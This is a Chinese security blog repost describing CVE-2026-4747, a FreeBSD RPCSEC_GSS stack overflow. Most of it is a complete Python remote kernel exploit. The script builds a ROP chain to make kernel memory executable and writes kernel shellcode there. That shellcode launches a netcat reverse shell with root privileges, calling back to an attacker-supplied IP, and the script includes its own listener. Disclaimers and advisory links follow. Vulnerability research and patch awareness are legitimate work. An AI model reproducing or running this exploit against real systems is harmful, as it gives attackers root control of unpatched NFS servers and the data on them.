文章总结: 该文档详细分析了CVE-2026-4747FreeBSD栈溢出漏洞,该漏洞存在于kgssapi.ko内核模块和librpcgsssec库的RPCSECGSS协议签名验证过程中,由于未校验数据包长度导致栈溢出,攻击者可通过恶意RPC数据包实现内核或用户态远程代码执行。文档提供了完整的POC利用代码,包含ROP链构造和内核shellcode编写技术,影响所有受支持的FreeBSD版本,建议用户及时更新补丁。 综合评分: 85 文章分类: 漏洞分析,二进制安全,漏洞POC,红队,应急响应
CVE-2026-4747|FreeBSD栈溢出漏洞(POC)
alicy alicy
信安百科
2026年4月5日 09:15 河北
在小说阅读器读本章
去阅读
0x00 前言
FreeBSD是一款有着三十余年发展历史的开源类UNIX操作系统,它支持x86、ARM、RISC-V等多硬件架构,采用宽松的BSD许可证,允许用户自由使用、修改和分发代码,甚至可用于商业产品,macOS、任天堂Switch等都复用了它的代码。
在性能与功能上,FreeBSD表现突出,其先进的TCP/IP协议栈让它成为网络服务器的理想选择,能在高负载下稳定运行,同时具备内存保护、抢占式多任务、SMP多处理器支持等特性,保障系统的稳定性与安全性。它还拥有完整的开发工具链,支持C、C++等多种编程语言,通过Ports包管理器可安装超36000款应用程序,兼顾服务器、嵌入式系统、桌面等多场景需求。
0x01 漏洞描述
内核模块 kgssapi.ko 和用户态库 librpcgss_sec 实现了 RPCSEC_GSS 安全协议。
该组件在验证 RPCSEC_GSS 数据包签名时,将数据包的特定部分拷贝到栈缓冲区中,但未校验数据长度是否超过缓冲区容量。
攻击者通过发送构造的恶意 RPC 数据包可触发栈溢出,导致内核态或用户态的远程代码执行(RCE)。
—— ——来源于网络
0x02 CVE编号
CVE-2026-4747
0x03 影响版本
所有受支持的FreeBSD版本
0x04 漏洞详情
POC:
https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py
#!/usr/bin/env python3"""CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS Remote Kernel RCE================================================================
Stack buffer overflow in svc_rpc_gss_validate() → 15-round ROP chain→ pmap_change_prot(BSS, RWX) → write shellcode → kproc_create→ kern_execve("/bin/sh -c REVSHELL") → uid 0 reverse shell.
Targets FreeBSD 14.4-RELEASE amd64 GENERIC (no KASLR).Requires a Kerberos ticket: kinit [email protected]
Usage: python3 exploit.py -t <target> -p 2049 --ip <callback_ip> --port <callback_port> python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
- LCFR/x 2026"""
import argparseimport gssapiimport selectimport socketimport structimport sysimport time
# ─── FreeBSD 14.4-RELEASE GENERIC amd64 constants ──────────────────────────
KERNEL_BASE = 0xffffffff80200000KERNEL_BSS = 0xffffffff8198a000 # .bss section startSHELLCODE_ADDR = KERNEL_BSS + 0x800 # where shellcode is placedSTACK_TOP = KERNEL_BSS + 0x1F00 # safe stack for shellcodeFAKE_MODULE_BASE = KERNEL_BSS - 0x3c000 # so reference bss_base = KERNEL_BSS
# ROP gadgets (found via ROPgadget on /boot/kernel/kernel)POP_RDI = KERNEL_BASE + 0x1adcdaPOP_RSI = KERNEL_BASE + 0x1cdf98POP_RDX = KERNEL_BASE + 0x5fa429POP_RAX = KERNEL_BASE + 0x400cb4MOV_RDI_RAX_RET = 0xffffffff80e3457c # mov qword [rdi], rax ; retPMAP_CHANGE_PROT = KERNEL_BASE + 0xe4e2f0KTHREAD_EXIT = KERNEL_BASE + 0x92c100KPROC_CREATE = KERNEL_BASE + 0x92b600
# Kernel function offsets (for shellcode)KPROC_CREATE_OFF = 0x92b600KTHREAD_EXIT_OFF = 0x92c100EXEC_ALLOC_ARGS_OFF = 0x915500EXEC_ARGS_ADD_FNAME_OFF = 0x9155f0EXEC_ARGS_ADD_ARG_OFF = 0x915680KERN_EXECVE_OFF = 0x913040TD_PROC_OFF = 0x08P_VMSPACE_OFF = 0x208P_FLAG_OFF = 0xb8HA_HANDLER_OFF = 0x3c2f0 # in fake module layout
# RPC / RPCSEC_GSS constantsLAST_FRAG = 0x80000000RPC_VERSION = 2NFS_PROGRAM = 100003NFS_V3 = 3NULLPROC = 0AUTH_NONE = 0RPCSEC_GSS = 6
# Overflow geometry (verified via De Bruijn pattern)RIP_OFFSET = 200 # credential body byte that overwrites return addressRBX_OFFSET = 152 # saved RBX (preloaded with KPROC_CREATE for final round)
# Write primitive budget: each 8-byte write costs 5 qwords (40 bytes) of ROPWRITES_PER_ROUND = 4 # 4 writes × 40B = 160B, plus 24B exit = 184B < 200B budget
# ─── Wire format helpers ────────────────────────────────────────────────────
def p64(v): return struct.pack('<Q', v)
def p32(v): return struct.pack('>I', v)
def xdr_opaque(data): pad = (4 - len(data) % 4) % 4 return p32(len(data)) + data + b'\x00' * pad
# ─── Shellcode builder ─────────────────────────────────────────────────────
def build_shellcode(kernel_base, callback_ip, callback_port): """ Build 425-byte x86-64 kernel shellcode for FreeBSD reverse shell.
Two functions: entry — runs on the hijacked NFS thread: pivots stack, clears DR7, calls kproc_create(worker), kthread_exit() worker — runs in the new kernel process (via fork_exit callback): exec_alloc_args → exec_args_add_* → kern_execve("/bin/sh -c REVSHELL") clears P_KPROC flag, returns to fork_exit → userret → iretq → userland
Uses the same build logic as FBSD-001/exploit.py build_stage2_shellcode(), with two patches: 1. ha_handler cleanup NOP'd (writes to CTL-specific addresses we don't own) 2. DR7 cleared before kproc_create (prevents inherited hardware breakpoints) """ kproc_create = kernel_base + KPROC_CREATE_OFF kthread_exit = kernel_base + KTHREAD_EXIT_OFF exec_alloc_args = kernel_base + EXEC_ALLOC_ARGS_OFF exec_args_add_fname = kernel_base + EXEC_ARGS_ADD_FNAME_OFF exec_args_add_arg = kernel_base + EXEC_ARGS_ADD_ARG_OFF kern_execve = kernel_base + KERN_EXECVE_OFF
bss_base = FAKE_MODULE_BASE + 0x3c000 # = KERNEL_BSS stack_top = bss_base + 0x1F00 shellcode_base = bss_base + 0x800 ha_handler = FAKE_MODULE_BASE + HA_HANDLER_OFF
revshell_cmd = (f"rm -f /tmp/f;mkfifo /tmp/f;" f"cat /tmp/f|/bin/sh -i 2>&1|nc {callback_ip} {callback_port}>/tmp/f &")
code = bytearray()
# ── Entry ─────────────────────────────────────────────────────────────── # Stack pivot code += b'\x48\xb8' + struct.pack('<Q', stack_top) code += b'\x48\x89\xc4'
# kproc_create(worker_fn, NULL, NULL, 0, 0, "sh") worker_fn_lea = len(code) code += b'\x48\x8d\x3d\x00\x00\x00\x00' # lea rdi, [rip + worker_fn] code += b'\x31\xf6\x31\xd2\x31\xc9\x45\x31\xc0' str_name_lea = len(code) code += b'\x4c\x8d\x0d\x00\x00\x00\x00' # lea r9, [rip + str_name]
# Patch: clear DR7 before kproc_create (prevents child inheriting stale breakpoints) code += b'\x31\xc0' # xor eax, eax code += b'\x0f\x23\xf8' # mov dr7, rax code += b'\x48\xb8' + struct.pack('<Q', kproc_create) code += b'\xff\xd0' # call rax
# Patch: NOP the ha_handler cleanup (originally zeroed CTL-specific pointers) for _ in range(19): code += b'\x90'
# kthread_exit code += b'\x48\xb8' + struct.pack('<Q', kthread_exit) code += b'\xff\xd0' code += b'\xcc' # int3 (unreachable)
# ── Worker ────────────────────────────────────────────────────────────── worker_fn_start = len(code)
code += b'\x55' # push rbp code += b'\x48\x89\xe5' # mov rbp, rsp code += b'\x48\x81\xec\x10\x01\x00\x00' # sub rsp, 0x110 code += b'\x48\x89\x5d\xc0' # mov [rbp-0x40], rbx
# Zero image_args code += b'\x48\x8d\x7d\x80' code += b'\x31\xc0' code += b'\xb9\x10\x00\x00\x00' code += b'\xf3\x48\xab'
# exec_alloc_args(&args) code += b'\x48\x8d\x7d\x80' code += b'\x48\xb8' + struct.pack('<Q', exec_alloc_args) code += b'\xff\xd0' code += b'\x85\xc0' fail_jnz = len(code) code += b'\x0f\x85\x00\x00\x00\x00' # jnz .fail
# exec_args_add_fname(&args, "/bin/sh", UIO_SYSSPACE) code += b'\x48\x8d\x7d\x80' str_binsh_lea = len(code) code += b'\x48\x8d\x35\x00\x00\x00\x00' code += b'\xba\x01\x00\x00\x00' code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_fname) code += b'\xff\xd0'
# exec_args_add_arg(&args, "sh", UIO_SYSSPACE) code += b'\x48\x8d\x7d\x80' str_sh_lea = len(code) code += b'\x48\x8d\x35\x00\x00\x00\x00' code += b'\xba\x01\x00\x00\x00' code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_arg) code += b'\xff\xd0'
# exec_args_add_arg(&args, "-c", UIO_SYSSPACE) code += b'\x48\x8d\x7d\x80' str_c_lea = len(code) code += b'\x48\x8d\x35\x00\x00\x00\x00' code += b'\xba\x01\x00\x00\x00' code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_arg) code += b'\xff\xd0'
# exec_args_add_arg(&args, REVSHELL_CMD, UIO_SYSSPACE) code += b'\x48\x8d\x7d\x80' str_cmd_lea = len(code) code += b'\x48\x8d\x35\x00\x00\x00\x00' code += b'\xba\x01\x00\x00\x00' code += b'\x48\xb8' + struct.pack('<Q', exec_args_add_arg) code += b'\xff\xd0'
# kern_execve(curthread, &args, NULL, oldvmspace) code += b'\x65\x48\x8b\x3c\x25\x00\x00\x00\x00' code += b'\x48\x89\x7d\xd0' code += b'\x48\x8b\x47' + struct.pack('<b', TD_PROC_OFF) code += b'\x48\x8b\x88' + struct.pack('<I', P_VMSPACE_OFF) code += b'\x48\x8d\x75\x80' code += b'\x31\xd2' code += b'\x48\xb8' + struct.pack('<Q', kern_execve) code += b'\xff\xd0'
# Check EJUSTRETURN code += b'\x83\xf8\xfe' success_je = len(code) code += b'\x74\x00' # je .success
# .fail fail_target = len(code) code += b'\x48\xb8' + struct.pack('<Q', kthread_exit) code += b'\xff\xd0' code += b'\xcc'
# .success: clear P_KPROC success_target = len(code) code += b'\x65\x48\x8b\x3c\x25\x00\x00\x00\x00' code += b'\x48\x8b\x47' + struct.pack('<b', TD_PROC_OFF) code += b'\x80\xa0' + struct.pack('<I', P_FLAG_OFF) + b'\xfb' code += b'\x48\x8b\x5d\xc0' code += b'\xc9' code += b'\xc3'
# ── Strings ───────────────────────────────────────────────────────────── str_binsh_start = len(code); code += b'/bin/sh\x00' str_c_start = len(code); code += b'-c\x00' str_cmd_start = len(code); code += revshell_cmd.encode() + b'\x00' str_name_start = len(code); code += b'sh\x00'
# ── Patch RIP-relative references ─────────────────────────────────────── def patch_lea(off, target): rel = target - (off + 7) struct.pack_into('<i', code, off + 3, rel)
patch_lea(worker_fn_lea, worker_fn_start) patch_lea(str_name_lea, str_name_start) struct.pack_into('<i', code, fail_jnz + 2, fail_target - (fail_jnz + 6)) patch_lea(str_binsh_lea, str_binsh_start) patch_lea(str_sh_lea, str_binsh_start + 5) # "sh" = "/bin/sh" + 5 patch_lea(str_c_lea, str_c_start) patch_lea(str_cmd_lea, str_cmd_start) struct.pack_into('b', code, success_je + 1, success_target - (success_je + 2))
# Pad to 8-byte alignment while len(code) % 8: code += b'\x00'
return bytes(code)
# ─── GSS context establishment ──────────────────────────────────────────────
def gss_establish(host, port, spn, retries=6, delay=2): """ Establish an RPCSEC_GSS context with the NFS server. Returns the 16-byte context handle, or None on failure. """ for attempt in range(retries): try: name = gssapi.Name(spn, gssapi.NameType.kerberos_principal) ctx = gssapi.SecurityContext( name=name, usage='initiate', flags=gssapi.RequirementFlag.mutual_authentication) token = ctx.step() if not token: continue
# Send RPCSEC_GSS_INIT rpc_hdr = (p32(0xaa000001) + p32(0) + p32(RPC_VERSION) + p32(NFS_PROGRAM) + p32(NFS_V3) + p32(NULLPROC)) gss_cred = struct.pack('>IIIII', 1, 1, 0, 1, 0) # ver,INIT,seq=0,svc=none,handle_len=0 body = (rpc_hdr + p32(RPCSEC_GSS) + xdr_opaque(gss_cred) + p32(AUTH_NONE) + p32(0) + xdr_opaque(bytes(token))) pkt = p32(LAST_FRAG | len(body)) + body
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(100) sock.connect((host, port)) sock.sendall(pkt) resp = sock.recv(8192) sock.close()
# Parse handle from reply if len(resp) < 32: continue rp = 16 # skip frag(4) + xid(4) + type(4) + reply_stat(4) rp += 4 # verf_flavor vl = struct.unpack('>I', resp[rp:rp+4])[0]; rp += 4 rp += vl + ((4 - vl % 4) % 4) # skip verf body rp += 4 # accept_stat hlen = struct.unpack('>I', resp[rp:rp+4])[0]; rp += 4 if hlen > 0: return resp[rp:rp+hlen] return b''
except Exception: time.sleep(delay)
return None
# ─── Overflow packet sender ────────────────────────────────────────────────
def send_overflow(host, port, credential_body): """Send an RPCSEC_GSS DATA packet with the given credential body.""" rpc_hdr = (p32(0xdead0001) + p32(0) + p32(RPC_VERSION) + p32(NFS_PROGRAM) + p32(NFS_V3) + p32(NULLPROC)) body = (rpc_hdr + p32(RPCSEC_GSS) + xdr_opaque(credential_body) + p32(RPCSEC_GSS) + xdr_opaque(b'\x00' * 16)) pkt = p32(LAST_FRAG | len(body)) + body
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) sock.sendall(pkt) try: sock.recv(4096) except (socket.timeout, ConnectionResetError): pass sock.close()
# ─── Credential builder ────────────────────────────────────────────────────
def build_credential(handle, rop_chain, preload_rbx=None): """ Build a 400-byte RPCSEC_GSS credential body that overflows rpchdr[].
Layout: [0..35] GSS header (version=1, proc=DATA, seq=1, svc=integrity, handle) [36..151] Padding (fills rpchdr + local variables) [152..199] Saved registers (rbx, r12-r15, rbp — zeros or preloaded values) [200..399] ROP chain """ cred = bytearray(400)
# GSS DATA header struct.pack_into('>IIII', cred, 0, 1, 0, 1, 2) # version, DATA, seq=1, svc=integrity struct.pack_into('>I', cred, 16, len(handle)) cred[20:20+len(handle)] = handle # bytes 36..151 stay zero (padding)
# Preload KPROC_CREATE into saved RBX for the final round's shellcode entry if preload_rbx is not None: struct.pack_into('<Q', cred, RBX_OFFSET, preload_rbx)
# ROP chain at byte 200 if len(rop_chain) > 200: raise ValueError(f"ROP chain too long: {len(rop_chain)} > 200 bytes") cred[RIP_OFFSET:RIP_OFFSET+len(rop_chain)] = rop_chain
return bytes(cred)
# ─── ROP chain builders ────────────────────────────────────────────────────
def rop_pmap_and_exit(): """Round 1: make BSS executable, then clean thread exit.""" rop = bytearray() rop += p64(POP_RDI) + p64(KERNEL_BSS) rop += p64(POP_RSI) + p64(0x2000) # 2 pages rop += p64(POP_RDX) + p64(7) # VM_PROT_ALL (RWX) rop += p64(PMAP_CHANGE_PROT) rop += p64(POP_RDI) + p64(0) rop += p64(KTHREAD_EXIT) return bytes(rop)
def rop_write_qwords(writes, exit_or_jump): """ Write up to 4 qwords to kernel memory, then either kthread_exit or jump.
Each write: pop_rdi(addr) + pop_rax(value) + mov_[rdi]_rax = 40 bytes. Exit: pop_rdi(0) + kthread_exit = 24 bytes. Jump: just the target address = 8 bytes. """ rop = bytearray() for addr, value in writes: rop += p64(POP_RDI) + p64(addr) rop += p64(POP_RAX) + p64(value) rop += p64(MOV_RDI_RAX_RET)
if isinstance(exit_or_jump, int): # Jump to shellcode rop += p64(exit_or_jump) else: # Clean thread exit rop += p64(POP_RDI) + p64(0) rop += p64(KTHREAD_EXIT)
return bytes(rop)
# ─── Main exploit ───────────────────────────────────────────────────────────
def nfs_alive(host, port, timeout=3): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((host, port)) s.close() return True except Exception: return False
def exploit(target, nfs_port, callback_ip, callback_port, spn): """ Full 15-round remote kernel RCE exploit.
Round 1: pmap_change_prot(BSS, RWX) + kthread_exit Rounds 2-14: write 4 × 8B of shellcode per round + kthread_exit Round 15: write final qwords + jump to shellcode entry """ print(f"\n Target: {target}:{nfs_port}") print(f" Callback: {callback_ip}:{callback_port}") print(f" SPN: {spn}\n")
# ── Build shellcode ───────────────────────────────────────────────── shellcode = build_shellcode(KERNEL_BASE, callback_ip, callback_port) while len(shellcode) % 8: shellcode += b'\x00'
# Split into 8-byte writes writes = [] for i in range(0, len(shellcode), 8): qword = struct.unpack('<Q', shellcode[i:i+8])[0] writes.append((SHELLCODE_ADDR + i, qword))
total_rounds = 1 + len(writes) // WRITES_PER_ROUND if len(writes) % WRITES_PER_ROUND: total_rounds += 1 print(f" Shellcode: {len(shellcode)} bytes ({len(writes)} qwords)") print(f" Delivery: {total_rounds} rounds (1 pmap + {total_rounds-1} write)\n")
# ── Round 1: Make BSS executable ──────────────────────────────────── print(f" [R1/{total_rounds}] pmap_change_prot(BSS, 0x2000, RWX)") handle = gss_establish(target, nfs_port, spn) if handle is None: print(" [-] GSS context failed"); return False cred = build_credential(handle, rop_pmap_and_exit()) send_overflow(target, nfs_port, cred) time.sleep(3)
if not nfs_alive(target, nfs_port): print(" [-] NFS down after R1 (kernel panic?)"); return False print(" [+] BSS is now RWX\n")
# ── Rounds 2+: Write shellcode to BSS ─────────────────────────────── round_num = 2 write_idx = 0
while write_idx < len(writes): remaining = len(writes) - write_idx is_final = remaining <= WRITES_PER_ROUND batch_size = remaining if is_final else WRITES_PER_ROUND batch = writes[write_idx:write_idx + batch_size]
action = "write + EXECUTE" if is_final else "write" print(f" [R{round_num}/{total_rounds}] {action} " f"({batch_size} qwords → 0x{batch[0][0]:x})", end="", flush=True)
handle = gss_establish(target, nfs_port, spn) if handle is None: print("\n [-] GSS context failed"); return False
if is_final: # Final round: write + jump to shellcode (preload KPROC_CREATE in rbx) rop = rop_write_qwords(batch, SHELLCODE_ADDR) cred = build_credential(handle, rop, preload_rbx=KPROC_CREATE) else: # Intermediate round: write + kthread_exit rop = rop_write_qwords(batch, "exit") cred = build_credential(handle, rop)
send_overflow(target, nfs_port, cred)
if is_final: print(f" → JUMP 0x{SHELLCODE_ADDR:x}") else: time.sleep(2) if not nfs_alive(target, nfs_port): print(f"\n [-] NFS down after R{round_num}"); return False print(" ✓")
write_idx += batch_size round_num += 1
print(f"\n [*] Shellcode delivered and executing.") print(f" [*] kproc_create → kern_execve('/bin/sh -c ...')") print(f" [*] Reverse shell → {callback_ip}:{callback_port}") return True
# ─── Entry point ────────────────────────────────────────────────────────────
def main(): parser = argparse.ArgumentParser( description='CVE-2026-4747 — FreeBSD kgssapi.ko Remote Kernel RCE', formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""Examples: python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444 python3 exploit.py -t 192.168.1.100 -p 2049 --ip 192.168.1.1 --port 9001
Prerequisites: 1. Target must run FreeBSD 14.4-RELEASE with kgssapi.ko + NFS 2. Kerberos KDC must be reachable (port 88 or forwarded) 3. Run: kinit [email protected] (before launching this exploit) 4. Start a listener: nc -lvp <port> """)
parser.add_argument('-t', '--target', required=True, help='Target IP (NFS server)') parser.add_argument('-p', '--nfs-port', type=int, default=2049, help='Target NFS port (default: 2049)') parser.add_argument('--ip', dest='callback_ip', required=True, help='Attacker IP for reverse shell callback') parser.add_argument('--port', dest='callback_port', type=int, default=4444, help='Attacker port for reverse shell (default: 4444)') parser.add_argument('--spn', default='nfs/[email protected]', help='Kerberos service principal (default: nfs/[email protected])')
args = parser.parse_args()
print("=" * 62) print(" CVE-2026-4747 — FreeBSD RPCSEC_GSS Remote Kernel RCE") print(" Stack overflow → ROP → shellcode → uid 0 reverse shell") print("=" * 62)
# Start listener print(f"\n [*] Starting listener on 0.0.0.0:{args.callback_port}...") listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: listener.bind(('0.0.0.0', args.callback_port)) except OSError as e: print(f" [-] Cannot bind port {args.callback_port}: {e}") return listener.listen(1) listener.settimeout(100)
# Run exploit ok = exploit(args.target, args.nfs_port, args.callback_ip, args.callback_port, args.spn) if not ok: listener.close() return
# Wait for shell print(f"\n [*] Waiting for reverse shell...") try: shell, addr = listener.accept() except socket.timeout: print(" [-] No connection within 60 seconds.") listener.close() return listener.close()
print(f" [+] Connection from {addr[0]}:{addr[1]}") print(f" [+] Got shell!\n")
# Interactive I/O shell.setblocking(False) try: while True: readable, _, _ = select.select([shell, sys.stdin], [], [], 0.1) for fd in readable: if fd is shell: try: data = shell.recv(4096) except (BlockingIOError, ConnectionResetError): data = b'' if not data: raise SystemExit sys.stdout.write(data.decode('utf-8', errors='replace')) sys.stdout.flush() elif fd is sys.stdin: line = sys.stdin.readline() if not line: raise SystemExit shell.sendall(line.encode()) except (KeyboardInterrupt, SystemExit): print("\n [*] Shell closed.") finally: shell.close()
if __name__ == '__main__': main()
0x05 参考链接
https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py
https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc
推荐阅读:
CVE-2025-32463|Linux sudo 本地提权漏洞(POC)
CVE-2024-26809|Linux提权漏洞(PoC)
CVE-2026-24061|Telnetd存在远程认证绕过漏洞(POC)
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:信安百科 alicy alicy《CVE-2026-4747|FreeBSD栈溢出漏洞(POC)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论